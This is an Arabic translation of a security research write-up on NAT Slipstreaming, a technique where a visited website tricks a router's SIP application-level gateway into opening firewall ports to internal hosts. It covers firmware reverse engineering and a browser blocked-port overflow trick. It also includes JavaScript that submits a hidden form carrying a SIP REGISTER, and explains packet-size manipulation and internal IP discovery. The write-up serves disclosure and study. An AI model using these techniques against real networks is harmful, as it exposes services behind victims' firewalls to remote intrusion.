
يسمح NAT Slipstreaming للمهاجم بالوصول عن بُعد إلى أي خدمات TCP/UDP مرتبطة بجهاز الضحية، متجاوزًا NAT/firewall الخاص بالضحية، فقط بمجرد أن يزور أي شخص على شبكة الضحية موقعًا إلكترونيًا.
NAT Slipstreaming يسمح للمهاجم بالوصول عن بُعد إلى أي خدمة TCP/UDP مرتبطة بـ أي نظام خلف NAT الضحية، متجاوزًا جدار الحماية/NAT الخاص بالضحية (التحكم التعسفي عن بُعد في فتحات جدار الحماية)، فقط بزيارة الضحية لموقع ويب.
تم تطوير الإصدار v1 بواسطة: @SamyKamkar // https://samy.pl
تم تطوير الإصدار v2 بواسطة: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky من Armis).
اقرأ الكتابة الفنية الممتازة لـ Ben & Gregory حول الإصدار v2 هنا والتي تتعمق في تحديثاتهم للإصدار v2 مع الكثير من التفاصيل الإضافية.
تم إصدار v1: 31 أكتوبر 👻، 2020
تم إصدار v2: 26 يناير، 2021
كود المصدر: https://github.com/samyk/slipstream
النسخة المتحركة هنا تم إنشاؤها باستخدام fork الخاص بي من draw.io، مما يسمح بتدفق سياق الحواف القابل للتصدير مع التحكم في الرسوم المتحركة
يستغل NAT Slipstreaming متصفح المستخدم بالتزامن مع آلية تتبع الاتصال الخاصة بـ بوابة مستوى التطبيق (ALG) المضمنة في NATs والراوترات وجدران الحماية، وذلك من خلال سلسلة من الخطوات: استخراج IP داخلي عبر هجوم توقيت أو WebRTC، واكتشاف MTU عن بُعد آلي وتجزئة IP، وتعديل حجم حزم TCP، وإساءة استخدام مصادقة TURN، والتحكم الدقيق في حدود الحزم، والخلط بين البروتوكولات عبر إساءة استخدام المتصفح. وبما أن NAT أو جدار الحماية هو الذي يفتح منفذ الوجهة، فإن هذا يتجاوز أي قيود على المنافذ في المتصفح.
يستفيد هذا الهجوم من التحكم التعسفي في جزء البيانات من بعض حزم TCP و UDP دون تضمين HTTP أو رؤوس أخرى؛ يقوم الهجوم بهذه التقنية الجديدة لحقن الحزم عبر جميع المتصفحات الحديثة (والأقدم) الرئيسية، وهو نسخة محدثة من تقنيتي الأصلية NAT Pinning من عام 2010 (عُرضت في DEFCON 18 + Black Hat 2010). بالإضافة إلى ذلك، تم تضمين تقنيات جديدة لاكتشاف عنوان IP المحلي.
يتطلب هذا الهجوم أن يدعم NAT/جدار الحماية ALG (بوابات مستوى التطبيق)، وهي إلزامية للبروتوكولات التي يمكنها استخدام منافذ متعددة (قناة تحكم + قناة بيانات) مثل SIP و H323 (بروتوكولات VoIP)، و FTP، و IRC DCC، إلخ.
على مستوى عالٍ، يعمل NAT Slipstreaming كالتالي:
.local المقدم لن يكون مفيدًا للهجوم)img مخفية لجميع البوابات الشائعة (مثل 192.168.0.1) في الخلفيةonerror/onsuccess بعلامات imgنستخدم NAT (ترجمة عنوان الشبكة) لعدة أسباب. الميزة الأكثر فائدة لـ NAT هي أنها تسمح بمشاركة عنوان IP عام واحد بين أنظمة متعددة. تقوم بذلك عن طريق إنشاء شبكة محلية، وتوفير عناوين IP محلية لجميع الأجهزة المتصلة، وعندما يصل أحد تلك الأنظمة إلى الإنترنت، تقوم بإعادة كتابة الحزم الصادرة لاستخدام IP العام بحيث تعود الاستجابات إلى NAT، والعكس صحيح، إعادة كتابة IP الوجهة إلى IP العميل المحدد.
تقع على عاتق NAT مسؤولية التفريق بين الاتصالات لنفس العناوين/المنافذ (google.com:443) من المضيفين الداخليين لأن منفذ الخروج وعنوان IP الوجهة وعنوان IP المصدر سيكونون جميعًا متماثلين. إذا حاول نظيران داخليان مختلفان الاتصال من نفس منفذ المصدر، ستقوم NATs الحديثة بتغيير أحد منافذ المصدر (تقوم بعض الشبكات بذلك لجميع منافذ TCP/UDP المصدر).

من Wikipedia ala Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
إذا كان جهاز خلف NAT الخاص بك يرسل حزمة خارجية ويتوقع جهاز التوجيه الخاص بك أن المضيف البعيد قد يستجيب، فإنه يتتبع المعلومات، وتحديداً منافذ المصدر والوجهة، وعناوين IP المصدر والوجهة، وعنوان IP الداخلي الخاص بك، ثم يعيد أي حزم تطابقها إلى عنوان IP الداخلي الخاص بك.
إذا حاول مضيف آخر على شبكة LAN الخاصة بك إنشاء نفس الاتصال بنفس منافذ المصدر والوجهة وعناوين IP، فلن يتمكن NAT الخاص بك من تمييزه (عناوين IP المصدر مختلفة على شبكة LAN الخاصة بك ولكن يتم إعادة كتابتها إلى نفس عنوان IP العام على جانب WAN)، لذلك يقوم بتغيير منفذ المصدر، ولكن يعيد كتابته عند الإرسال إليك.
### بوابة مستوى التطبيق
تسمح بوابات مستوى التطبيق (ALGs) لـ NAT بتتبع بروتوكول متعدد المنافذ مثل FTP للخروج من نظامك إلى خادم FTP، ثم تتبع عندما تطلب إرسال ملف إلى عنوان IP الداخلي الخاص بك على منفذ معين، يمكن لـ ALG إعادة كتابة الحزمة لتضمين عنوان IP العام الخاص بك، ثم إعادة توجيه اتصال خادم FTP إليك. لو لم يتم إعادة كتابة عنوان IP الخاص بك، فسيحاول خادم FTP الاتصال بك مرة أخرى على عنوان IP الداخلي الخاص بك (أو لن يحاول على الإطلاق إذا كان يتوقع أن يكون عنوان IP المصدر هو نفسه اتصال الإشارة).
من [ويكيبيديا](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
أود أولاً أن أرى كيف تتعامل البوابات الشائعة فعليًا مع الحزم والبروتوكولات متعددة المنافذ مثل FTP وSIP وغيرها. للقيام بذلك، سنحتاج إلى هندسة عكسية للبرامج الثابتة من أجهزة التوجيه الشائعة. يمكننا تفريغ الفلاش من أجهزة التوجيه الفعلية، ومع ذلك إذا تمكنا من الحصول على برامج ثابتة غير مشفرة من الشركات المصنعة، فسنكون قادرين على التحقيق في المزيد من نماذج أجهزة التوجيه وبسرعة أكبر.
سنبدأ بجهاز توجيه شائع، وهو Netgear Nighthawk R7000. يساعدنا بحث سريع في العثور على مقال من Netgear يحتوي على برامج ثابتة حديثة. بمجرد تنزيل البرامج الثابتة وفك ضغطها، نجد ملفًا بحجم 30 ميجابايت باسم R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

أمر `file` لا يكشف أي [معلومات سحرية](https://www.wikiwand.com/en/Magic_number_(programming))، لذا يمكننا استخدام [`binwalk`](https://github.com/ReFirmLabs/binwalk) لمسح الملف بحثًا عن البيانات المتداخلة.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

أستخدم macOS ويعتمد binwalk على بعض تطبيقات Linux بشكل افتراضي مما يتسبب في فشل binwalk -e (الذي يستخرج الملفات) لذلك أقوم بالاستخراج يدويًا (وأنا أحب perl golf).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
أو استخدم [`inout`](https://github.com/samyk/samytools/blob/master/inout)، مثال `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
يمكنك استخدام `dd`، لكنك ستحتاج إلى `bs` (حجم الكتلة) كبير حتى يخرج بسرعة، مثلاً 1024، ولكن سمة `skip` (لتخبره بالبدء من موقع كتلة squashfs) ستراعي حجم الكتلة و 2221098 ليس قابلاً للقسمة بسهولة على أي شيء بسرعة في ذهني سوى 2... الآن أنا فضولي.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
الآن دعنا نقوم بفك ضغط نظام الملفات squash. لقد قمت بإنشاء fork من fork squashfs-tools يعمل على macOS ويدعم lzo. قد تحتاج أيضًا إلى تثبيت xz و lzo. بدلاً من ذلك، يمكنك استخدام sasquatch على Linux.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
وأخيرًا، يمكننا فك ضغط squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
لدينا الآن نظام التشغيل الخام لاستكشافه!
الآن دعنا نرى إذا كان بإمكاننا العثور على أي ملفات ذات صلة بـ FTP لأنه كان بروتوكولًا مستخدمًا بكثافة لذا سيكون دعم ALG منتشرًا عبر أجهزة التوجيه. أستخدم g tool الخاص بي وهو مجرد غلاف مناسب حول egrep.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
لا شيء مثير للاهتمام، لذا دعنا نقوم بـ `g` للملفات الثنائية التي يتطابق محتواها مع /ftp/، مع تجاهل بعض الملفات التي لا نهتم بها.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g يمسح بشكل متكرر دليل العمل الحالي افتراضياً. يُستخدم -l لطباعة أسماء الملفات فقط (لأن هذه ستكون في الغالب ثنائية)، و-a لمسح الملفات الثنائية، وftp للنص المطابق، و-v '\.(html?|js|gif)$|www/|bin/' لتجاهل ملفات الويب والملفات التنفيذية (الموجودة في (s)bin/).
أي ملفات lib/lib*.{a,so}{.*,} (تنسيق bash) غير مثيرة للاهتمام، لذا دعنا نمسح مرة أخرى مع أقل:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### استكشاف الوظائف المحتملة المفيدة
حسنًا، ملفان مهمان -- قد يكون `lib/modules/tdts.ko` ذا صلة، و `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` ربما لا يكون ذا صلة ولكنه يبدو مثيرًا للاهتمام! قد أتحرى ذلك لاحقًا.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
جميل! كائن نواة (.ko) يحتوي على وظائف ftp، ومع كلمات مثل "port"، فمن المحتمل أنه مرتبط بـ FTP ALG. يشرح FTP RFC 959 معنى أمر PORT:```
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### المنافذ / الخدمات المطلوب فحصها
على الرغم من أننا وجدنا بعض وظائف FTP، إلا أننا أكثر اهتمامًا بالمنافذ التي يمكننا استخدامها. تمنع المتصفحات الحديثة اتصالات HTTP(S) الصادرة إلى عدد من [المنافذ المحظورة](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90)، بما في ذلك FTP، لذا فمن المرجح أن إساءة استخدام FTP ALG غير مجدية.
في عام 2010، عندما [عرضت NAT Pinning لأول مرة](https://samy.pl/natpin/)، استخدمت المنفذ 6667 (IRC) عبر رسائل DCC CHAT/FILE. سرعان ما قام مطورو المتصفحات بحظر المنفذ 6667... رغم أن بعضهم استخدم uint32 (عدد صحيح غير موقع 32 بت) لتخزين المنفذ، والتحقق مما إذا كان المنفذ محظورًا، وإذا لم يكن كذلك، فالاتصال. لتجاوز ذلك، من المهم ملاحظة أن منافذ TCP يبلغ طولها 16 بت، لذا إذا أضفت 2**16 (65536) إلى المنفذ "المحظور" المختار، في هذه الحالة 65536+6667=72203، فسيخزن المتصفح 72203، وسيجتاز تقييد المنفذ (72203 != 6667)، ثم سيُرسل إلى مكدس TCP حيث يُختصر إلى 16 بت، وهو المنفذ المحظور الذي نريده!
تُظهر[`آلة الحساب الأساسية، 3`](https://github.com/samyk/samytools/blob/master/3) الخاصة بي هذا الأمر (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
يمكننا رؤيتها بشكل أفضل باستخدام أداة diffbits الخاصة بي، وهي أداة بسيطة لعرض أوجه التشابه والاختلاف بين سلاسل البت، وكذلك بين مجموعات متعددة من سلاسل البت، وهي مفيدة لهندسة عكسية للبروتوكولات الثنائية الخاصة.

تفضل وافتح مفككك المفضل. لقد استخدمت Ghidra من أصدقائنا في وكالة الأمن القومي NSA لأنها مجانية ومفتوحة المصدر.
بعض الدوال التي رأيناها في tdts.ko عبر strings كانت ftp_decode و ftp_decoder، لذا فمن المحتمل أن تحتوي ALGs الأخرى على دالة _decode. دعنا ننظر...

حسنًا، مجموعة من دوال _decode... عند التمرير لأسفل، نجد دالة مثيرة للاهتمام وهي sip_decode.

عند التحقق من منافذ المتصفح المقيدة، نرى أن المنفذ 5060، وهو منفذ SIP الافتراضي، غير مقيد في Chrome :)
يعيش SIP على TCP/UDP 5060، ولكن الوسائط مثل RTP (الصوت) تُرسل على منافذ بديلة يتم إنشاؤها بشكل ديناميكي. عند إرسال طلب لمكالمة SIP، يختار عميل SIP الخاص بك منفذًا عشوائيًا، ويفتحه، ويُدرجه في رأس SIP. يجب أن يراه NAT الخاص بك ويفتحه أيضًا، بافتراض تمكين SIP ALG (وهو مفعل على معظم أجهزة التوجيه افتراضيًا).
بافتراض أن NATs تقرأ حزم SIP سطرًا بسطر (SIP يعتمد على السطور الجديدة مثل HTTP وليس بروتوكولًا ثنائيًا)، فربما يتجاهل رأس HTTP وبمجرد الوصول إلى بيانات POST، يقرأ REGISTER ويعتقد أنها حزمة SIP. نجح هذا في إصدارنا لعام 2010 مع IRC DCC. تجاهل NAT رأس HTTP وقام فقط بتحليل أمر IRC DCC.
الشيء المضحك، أن هذا سمح لنا أيضًا بجعل المستخدمين الذين يزورون موقعنا يتصلون فعليًا بخادم IRC شرعي، وينضمون إلى قناة، ويرسلون رسالة من عنوان IP الخاص بهم دون علمهم! :P عرضت هذه التقنية لإرسال البريد الإلكتروني إلى خوادم البريد باستخدام عناوين IP للعملاء قبل أن يحظر المتصفح المنفذ 25 وقبل أن تصبح سجلات SPF شائعة... جنون.
الآن، في اختبار سريع، إرسال حزمة SIP REGISTER عبر المنفذ 5060 من خلال HTTP POST لا يبدو أنه يعمل... ربما نفتقد شيئًا ما في الحزمة.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
إذا قمنا بالتقاط حركة المرور، نرى (تم تحليله باستخدام [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
However, هذا لا يفتح المنفذ، ولا تتم إعادة كتابة عنوان IP كما كنا نتوقع (المزيد حول هذا لاحقًا)، لذا لا بد أننا نفتقد شيئًا ما.
لنواصل الحفر في كائن النواة. في التفكيك، نرى علامة "SIP/2.0" من حزمة SIP، لذا من المحتمل أن التحليل يحدث هنا (الذي يبدو عليه "decode").

آه، هذا هو سبب فشلنا. يبدو أنه يقوم بتشغيل strncasecmp على INVITE (تحليل مماثل على REGISTER) -- لمطابقة (غير حساسة لحالة الأحرف، وهو أمر مثير للاهتمام لأن رسائل SIP INVITE تكون بأحرف كبيرة) كلمة "INVITE" في بداية الحزمة ويتفرع إذا لم يكن متساوياً (تعليمة ARM bne) إلى 0، لذا إذا تطابقت الكلمات، سيكون الترتيب المعجمي 0 وسنستمر إلى ct_sip_get_header الذي يبدو ممتعًا، ويبدو أنه يخرج بخلاف ذلك.
هذه هي المشكلة... بينما يمكننا استخدام متصفح الويب لإنتاج مآخذ اتصال صادرة (TCP عبر HTTP(S)، UDP عبر TURN مع WebRTC)، ليس لدينا تحكم كافٍ في المتصفح لبدء جزء بيانات TCP بكلمة "INVITE"، التي تتوقعها هذه الوحدة. في نسخة IRC لعام 2010، كان ALG الخاص بـ IRC ينظر سطرًا سطرًا فقط، متجاهلاً جميع بيانات رأس HTTP، ثم يستخدم الأسطر الجديدة في بيانات POST لإرسال "IRC DCC" صالح. ومع ذلك، فإن ALG الخاص بـ SIP هذا أكثر صرامة بكثير والتحكم في بداية الطلب غير ممكن. إذا تم استخدام TLS، سيبدأ الرأس المشفر الحزمة. إذا تم استخدام HTTP، ستبدأ طريقة HTTP الحزمة (GET، POST، إلخ). هل يمكننا استغلال هذا بطريقة أخرى؟
لفهم تتبع الاتصال وبوابات مستوى التطبيق بشكل أفضل، يمكننا النظر في كيفية تصرفها في netfilter، مكدس شبكة Linux. لقد قمت بإنشاء رسم بياني لأكثر ALGs شيوعًا وكيفية تصرفها بناءً على تحليل شفرة مصدر Linux.

من هذا الرسم البياني، أكثرها إثارة للاهتمام (التي لا يحظرها Chrome) هي sane (نسخ احتياطي)، sip (voip)، pptp (vpn)، و h323 (voip). سنختار SIP لأنه أحد أكثر هذه البروتوكولات انتشارًا، ونراه بالفعل في بعض برامج ثابتة لأجهزة التوجيه.
يحتوي Linux تحديدًا على ملفات nf_conntrack_*.c لمعالجة تتبع الاتصال لكل بروتوكول على حدة، وملفات nf_nat_*.c لتشويه الحزم (تعديلها).
سنلقي نظرة سريعة على وحدة تتبع اتصال SIP
module_init(nf_conntrack_sip_init) تهيئة متتبع الاتصال هذا، وتستدعي nf_conntrack_sip_initnf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) نتوقع أن تأتي الإشارة من IPv4 AF_INET TCP IPPROTO_TCP المنفذ 5060 SIP_PORT... يحدث هذا لـ UDP و TCP و IPv4 و IPv6sip_help_tcp(...) يتم استدعاؤها عند وصول حزمة SIP TCP مطابقة
process_sip_msg(...) إذا كانت هذه تبدو كحزمة SIP محتملة
على حد علمنا، لا يمكننا جعل المتصفح يفرض اتصال TCP صادر بأي حركة مرور نريدها، ومن الضروري لنا إنشاء حزمة TCP/UDP تبدأ بطريقة SIP مثل REGISTER أو INVITE.
اعتاد Flash على السماح بالمآخذ الصادرة، لكنها كانت بتنسيق لم نكن نتحكم فيه بالكامل. Java تتطلب إذنًا. WebSockets لا تزال HTTP. TLS مشفر. WebRTC (RFC 7742) مشفر. STUN (RFC 3489) و TURN (RFC 5766) بتنسيقات ثابتة، و TURNS (RFC 7065) مشفر.
على مستوى عالٍ، لا يمكننا التحكم في بداية حزمة TCP، لكن ماذا لو أرسلنا حزمة كبيرة جدًا؟ لا بد أن هناك حدًا أقصى لحجم الحزمة... وعندها، يجب تقسيم الحزمة إلى حزم متعددة. إذا تمكنا من تجاوز حجم حزمة TCP والتحكم بدقة في جزء من البيانات، هل يمكننا التسبب في تجزئة الحزمة وجعل بياناتنا في بداية الحزمة التالية الفائضة؟
حسنًا، سنحتاج إلى معرفة مقدار البيانات التي سيرسلها المتصفح، والتي ستختلف حسب المتصفح، وحتى حسب المستخدم حيث قد يرسلون رؤوس HTTP مختلفة. HTTPS لن يعمل لأن معظم المحتوى مشفر، بينما HTTP POST يسمح لنا بالتحكم في جزء كبير من الرأس.
للحصول على الحجم العام للحزمة، نرسل كبيرة (6000 بايت) HTTP POST مع معرف وبيانات حشو عبر نموذج ويب مخفي إلى http://our.attack.server:5060/pktsize. على خادم الهجوم، نقوم بتشغيل مستنشق حزم الذي يبحث عن حدود حزمتنا لتحديد حجم MTU (وحدة الإرسال القصوى)، وحجم رأس IP، وخيارات IP المحتملة، وحجم رأس TCP، وخيارات TCP المحتملة، وحجم حزمة البيانات، والجزء من الحزمة الذي نتحكم فيه.
نقوم أيضًا بتشغيل خادم مخصص يستمع على منفذ TCP 5060، ويستجيب بحركة HTTP لتهدئة المتصفح حتى لا يبدو شيء مريبًا على جانب العميل (الخادم ذو الاستجابة المشوهة سيسبب أخطاء في وحدة التحكم، أو الخادم الذي يستجيب بشكل غير صحيح سيبقي مؤشر الحالة قيد التشغيل).

نحاول أيضًا التحكم في حجم بيانات حزمة TCP عن طريق إرسال خيار TCP لحجم المقطع الأقصى (mss) أثناء استجابة SYN الأولية للتلاعب بأحجام الحزم الصادرة من الضحية (RFC 793 x3.1). هذا يخبر جهاز الضحية بإبقاء حزم TCP بحجم معين.

يمكنك فعل ذلك على Linux بإلحاق advmss <size> إلى ip route. سنستخدم 1500.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
بمجرد حصولنا على الحزم، نرسل بيانات الحجم مرة أخرى إلى عميل الضحية عبر POST منفصل، والذي يرسل معرف الضحية حتى نتمكن من ربطه بالطلب الأصلي من الضحية. عند هذه النقطة، يكون لدى العميل فكرة جيدة عن كيفية حشو الحزم للتسبب في وصول بيانات عشوائية إلى أي موقع محدد داخل حزمة TCP.
### تجزئة IP باستخدام UDP و TURN
بعض أنواع NAT تسمح فقط بالوصول إلى منافذ UDP إذا كان اتصال SIP أصلاً عبر UDP، لذلك نستخدم TURN في هذه الحالة. TURN هو بروتوكول يدعم الترحيل للاتصالات من نظير إلى نظير مثل SIP و WebRTC. TURN يعمل عبر UDP بينما TURNS (TURN + TLS) يعمل عبر TCP. المتصفحات الحديثة تدعم TURN لـ WebRTC في حال عدم قدرتها على إنشاء اتصال مباشر من نظير إلى نظير مع بعضها البعض لمشاركة الوسائط.
يتيح TURN المصادقة عبر اسم المستخدم وكلمة المرور، ويُرسل اسم المستخدم بنص واضح. ومن المثير للاهتمام أن اسم المستخدم غير محدود بأي حجم أو أحرف، لذا يمكننا استخدام هذا لتنفيذ نفس النوع من تجاوز الحزمة.
نظرًا لأن TURN يعمل عبر UDP، فإن حزمة IP نفسها ستتجزأ إذا تجاوزت حجم MTU (UDP لا يدعم التقسيم). ستحتوي الحزمة الثانية ليس فقط على جزء البيانات الخاضع لسيطرتنا، بل رأس UDP أيضًا! هذا ليس مهمًا لهجومنا، لكنه مثير للاهتمام ويمكن بالتأكيد إنتاج هجمات بديلة. في النهاية يمكننا تنفيذ نفس الهجوم عبر UDP من خلال محاذاة حدود حزمتنا استنادًا إلى حجم MTU المحسوب بدلاً من حجم MSS، مما يجعل حزمة SIP UDP الخاصة بنا على حدود الحزمة الثانية (مع رأس UDP مزيف مُضاف في المقدمة) مما يسمح لنا بإعادة توجيه منافذ UDP مرة أخرى إلى ضحيتنا.
## هجوم التوقيت TCP / اكتشاف الشبكة الفرعية الداخلية وعنوان IP
أوه، هذا لن يعمل بعد! لكي يعالج ALG الحزمة كحزمة SIP شرعية، يجب أن يكون عنوان IP الذي تطلب عودة البيانات إليه (في سطر [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13) SIP) هو عنوان IP الداخلي (الضحية) الذي جاءت منه حزمة SIP، وهو ما لا نعرفه. فقط عنوان IP العام للموجه هو الذي يُنقل إلى خادمنا (حيث يقوم NAT بإعادة كتابة عنوان IP المصدر عند خروجه من الجانب العام).
نرى هذا الفحص في Linux في `nf_conntrack_sip.c` الخاص بـ [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260):

في [عام 2010](https://samy.pl/natpin/)، استخدمنا [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) الذي سمح بتنفيذ كود Java في ظل ظروف معينة من Javascript، لاستخراج عنوان IP المحلي للمستخدم. أصبح ذلك قديمًا بسرعة.
على بعض المتصفحات (Chrome، Firefox)، يمكننا استخدام [WebRTC](https://www.w3.org/TR/webrtc/) للحصول على عنوان IP الداخلي للضحية عبر [ICE](https://tools.ietf.org/html/rfc5245) (الذي يستخدم STUN/TURN/TURNS). هذه بروتوكولات لمساعدة النظراء خلف NAT في معرفة معلومات عن أنفسهم. ومن المفارقات أنه لا حاجة لاستخدام أي خادم في "طلب" ICE لأن المتصفح يعرف بالفعل عنوان IP الداخلي الخاص به، ولن يعرفه خادم STUN/TURN بعيد على أي حال ما لم يرسله العميل في المقام الأول. المشكلة أن ليست كل المتصفحات توفر هذه الآلية.
